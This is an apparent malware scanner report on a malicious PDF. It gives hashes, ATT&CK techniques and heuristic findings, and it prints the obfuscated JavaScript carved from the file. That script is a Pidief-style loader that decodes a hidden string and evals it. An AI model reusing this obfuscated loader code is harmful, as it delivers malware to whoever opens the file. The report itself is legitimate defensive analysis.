Malicious PDF — malware analysis report

Static analysis result for SHA-256 6ba2c59a05f00c0b…

MALICIOUS

PDF

44.8 KB First seen: 2013-07-24
MD5: b00d467c78d14bb2803d2907ce22bb71 SHA-1: e7e5e7d5f463978ff63ca0897315254c69667bb9 SHA-256: 6ba2c59a05f00c0b97f6b00560ad3bc8d66c05b7624be340e8f465ed76c231b0
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF document contains obfuscated JavaScript, identified by heuristics as a loader. This script reconstructs and executes a string, likely a URL or command, to download and run a second-stage payload. The ML classifier strongly indicates maliciousness, and the presence of obfuscated JavaScript points to a downloader pattern.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB07C 483 bytes
SHA-256: 9cbaa71d62af9c1515a64f427d8fb35f71bec33fa3c7c2534dc85b33ece0be00
Preview script
First 1,000 lines of the extracted script
pxcl='';
v='s'+'u';
try{try{qwe()}catch(a){gsdg()}}catch(e){v+=('wqg','b'+'st');}
qwe = ('webweb',v)[v+'r'];
t='le';
b='v';
a=["e","a","n","b","w",b,'r'];
e=(t,qwe)()[a[0]+b+a[1]+(a,t[0])];
vwh=e('ti'+'tle');
s=vwh.substr(t.length + 8,3)+'str';
q=vwh[s](1,(1,t.length + 7));
uiqxc=e('S'+'tring.fro'+q);
q=vwh[s](14).split('u');;
e('k=q.length');
for (i = 0; i != k; i+=2) {
	jvy = parseInt(q[i+1]) + parseInt(('erybjkerl',q[i]));
	pxcl += uiqxc(jvy);
}
e(pxcl);

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